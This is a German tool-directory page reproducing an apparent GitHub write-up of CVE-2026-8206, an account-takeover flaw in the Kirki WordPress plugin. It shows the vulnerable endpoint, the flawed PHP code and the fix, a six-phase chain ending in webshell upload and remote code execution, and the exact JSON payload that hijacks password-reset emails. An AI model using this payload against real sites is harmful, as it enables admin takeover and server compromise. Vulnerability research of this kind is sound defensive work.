Skip to content
KitploitKITPLOIT
ToolsBlog
Log in
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-8206 — CVE-2026-8206: Kirki Customizer Framework – Nicht authentifizierte Kontokompromittierung (CVSS 9.8) | Kitploit
Tools/GitHubGitHub/dungsocool/cve-2026-8206
PasswortangriffeSchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsAuthentifizierungPapers & ForschungLernen & BildungPayload-Entwicklung
GitHubdungsocool/cve-2026-8206

CVE-2026-8206

CVE-2026-8206: Kirki Customizer Framework – Nicht authentifizierte Kontokompromittierung (CVSS 9.8)

118vor 2 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Repository anzeigen

CVE-2026-8206

Schwachstelle: Nicht authentifizierte Kontoübernahme — Hijacking der Passwort-Reset-E-Mail im Kirki Customizer Framework

CVSS v3.1 9.8 / 10.0 KRITISCH

Vektor: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H


1. Überblick

CVE-2026-8206 ist eine Schwachstelle zur nicht authentifizierten Kontoübernahme im Kirki Customizer Framework – einem beliebten WordPress-Pagebuilder-Plugin mit über 90.000 aktiven Installationen. Die Schwachstelle ermöglicht es einem Angreifer, durch das Senden einer einzigen HTTP-Anfrage jedes WordPress-Konto (einschließlich Admin) zu übernehmen.

Der Fehler befindet sich im REST-API-Endpunkt kirki-forgot-password des ComponentLibrary-Moduls. Dieser Endpunkt erlaubt es, für jeden Benutzer ein Passwort-Reset anzufordern, und sendet den Reset-Link an eine vom Angreifer angegebene E-Mail-Adresse, statt an die registrierte E-Mail-Adresse des Benutzers.

InformationDetails
PluginKirki Customizer Framework (WordPress Page Builder)
Betroffene Versionen6.0.0 – 6.0.6
Behoben in6.0.7 (oder 6.0.12+)
SchwachstellenartNicht authentifizierte Kontoübernahme per Hijacking der Passwort-Reset-E-Mail
Endpunkt/index.php?rest_route=/KirkiComponentLibrary/v1/kirki-forgot-password (oder /wp-json/KirkiComponentLibrary/v1/kirki-forgot-password)
CVSS9.8 KRITISCH

Voraussetzungen für die Ausnutzung:

  • Kirki Customizer Framework 6.0.0–6.0.6 ist aktiviert
  • REST-API ist öffentlich (WordPress-Standard)
  • ComponentLibrary-Modul ist aktiv (standardmäßig, wenn das Plugin aktiv ist)
  • Es ist weder ein Konto noch eine Sitzung erforderlich

→ Jede WordPress-Website mit installiertem Kirki 6.0.0–6.0.6 ist standardmäßig verwundbar.

2. Terminologie

ComponentLibrary-REST-Endpunkte

Kirki registriert REST-API-Endpunkte für die Component-Library-Funktion, einschließlich Login, Register, forgot-password und change-password. Alle erlauben Gastzugriff (guest_permissions_check gibt true zurück).

Nonce-Validierung

Ein WordPress-Nonce ist ein CSRF-Schutz-Token. Kirki erfordert ein Nonce über den X-WP-Element-Nonce-Header oder prüft einen Nonce-Parameter in der Anfrage. Das Nonce kann jedoch öffentlich clientseitig generiert/extrahiert werden.

Passwort-Reset-Schlüssel

WordPress verwendet get_password_reset_key(), um einen Passwort-Reset-Token zu generieren. Dieser Token wird von Kirki vor dem Senden in die E-Mail-Vorlage eingefügt.

3. Grundursache — Hijacking der Passwort-Reset-E-Mail

Datei: ComponentLibrary/controller/CompLibFormHandler.php

Fehler 1: Fehlende E-Mail-zu-Benutzer-Validierung

In der verwundbaren Version (6.0.0–6.0.6) prüft die Funktion handle_forgot_password() nicht, ob die angegebene E-Mail-Adresse mit der registrierten E-Mail-Adresse des Benutzers übereinstimmt. Ein Angreifer kann den Benutzernamen des Opfers und seine eigene E-Mail-Adresse angeben – der Reset-Link wird an die E-Mail-Adresse des Angreifers gesendet.

Verwundbarer Quellcode:

public function handle_forgot_password( $request ) {
    $form_data = $request->get_body_params();
    $this->validate_nonce( 'kirki-forgot-password' );

    $email    = $form_data['email'];     // <-- ATTACKER CONTROLLED
    $username = $form_data['username'];

    $user = get_user_by( 'login', $username );
    //BUG: Does NOT check $email === $user->user_email
    //      Attacker's email is used directly

    $key = get_password_reset_key( $user );
    $reset_link = "$url?action=rp&key=$key&login=$username";

    // SENDS RESET LINK TO ATTACKER'S EMAIL
    wp_mail( $email, $subject, $body_with_reset_link );
    //       ^^^^^
    //  ATTACKER'S EMAIL, NOT THE USER'S EMAIL
}

Fehler 2: Fehlende HMAC-Signatur für die E-Mail-Vorlage

Der E-Mail-Betreff und der E-Mail-Inhalt werden über die Parameter emailSubject und emailBody vom Client empfangen, ohne dass eine HMAC-Signatur die Integrität absichert. Der Angreifer kann den Inhalt der gesendeten E-Mail beliebig verändern.

// VULNERABLE VERSION: No HMAC verification
$email_subject = $form_data['emailSubject'];   // Client-controlled
$email_body    = $form_data['emailBody'];       // Client-controlled
// No verify_email_template_signature()

// PATCHED VERSION (6.0.7+): HMAC verification / Email matching against DB
$user_email = $user->get( 'user_email' );
if ( $email !== $user_email ) {
    return new WP_REST_Response( array( 'message' => 'If an account exists...' ), 200 );
}

4. Warum diese Schwachstelle gefährlich ist

FaktorErklärung
Keine Authentifizierung erforderlichguest_permissions_check() gibt true zurück – jeder kann den Endpunkt aufrufen
Jedes Konto kann übernommen werdenNur der Benutzername wird benötigt (Standard: 'admin') – keine E-Mail/Passwort erforderlich
Auswirkung: Admin-ÜbernahmeAdmin übernehmen → Webshell hochladen → RCE → volle Serverkontrolle
Weit verbreitetKirki ist ein Plugin, das in viele WordPress-Themes integriert ist

5. Analyse der Angriffskette

Die Ausnutzung von CVE-2026-8206 beginnt ohne jeglichen Zugriff – kein Konto, kein Passwort, keine Sitzung – und führt allein mit HTTP-Anfragen zur vollständigen Admin-Übernahme.

Phase 1: Extract Nonce       → Obtain nonce from a public page (if required)
Phase 2: Hijack Reset Email  → Send reset link to attacker's email
Phase 3: Reset Password      → Change admin password using the obtained reset key
Phase 4: Login Admin         → Log in with the new password
Phase 5: Webshell Upload     → Install backdoor via plugin upload
Phase 6: RCE                 → Execute arbitrary commands on the server

5.0 Methodik zur Erstellung des Payloads

Schritt 1: Den Quellcode lesen (genaueste Methode)

Laden Sie das Plugin von wordpress.org herunter und öffnen Sie die Datei CompLibFormHandler.php direkt:

// The handle_forgot_password function receives data from the client:
$email_subject = isset( $form_data['emailSubject'] )
                 ? sanitize_text_field( $form_data['emailSubject'] ) : '';
$email_body = isset( $form_data['emailBody'] )
              ? json_decode( $form_data['emailBody'], true ) : '';
// Email body rendering logic:
foreach ( $email_body as $body_data ) {
    if ( $body_data['type'] === 'text' ) {
        $email_body = $email_body . $body_data['value'];
    } elseif ( $body_data['type'] === 'chip' ) {
        $email_body = $email_body . $chip_data[ $body_data['value'] ];
        //                                     ^^^^^^^^^^^^^^^^^^^
        //                $chip_data['reset_link'] = actual reset URL!
    }
}

→ Aus dem Code geht hervor: emailBody muss ein JSON-Array sein, wobei jedes Element type und value besitzt. Wenn type = chip und value = reset_link ist, fügt Kirki den Reset-Link automatisch in die E-Mail ein.

Schritt 2: Das JavaScript-Bundle des Plugins mit grep durchsuchen

Führen Sie grep direkt im Plugin-Verzeichnis aus:

grep -r "emailBody" wp-content/plugins/kirki/assets/js/
grep -r "reset_link" wp-content/plugins/kirki/assets/js/

Der kompilierte Frontend-Code zeigt die genaue erforderliche JSON-Struktur.

Zusammenfassung des Payload-Ermittlungsprozesses:

Find endpoint (/wp-json/ or rest_route)
       ↓
Read PHP source → find $form_data['emailBody']
       ↓
Understand JSON array format (type / value)
       ↓
Read chip_data array → find key "reset_link"
       ↓
Build payload: emailBody=[{"type":"chip","value":"reset_link"}]
       ↓
Test → success

5.1 Phase 1: Passwort-Reset-E-Mail kapern

Der Angreifer sendet eine POST-Anfrage an den Forgot-Password-Endpunkt mit dem Benutzernamen des Opfers (admin) und einer vom Angreifer kontrollierten E-Mail-Adresse ([email protected]). Der Server generiert einen Reset-Schlüssel für das Opfer, sendet den Reset-Link jedoch an [email protected].

Senden der Anfrage:

Tool herunterladen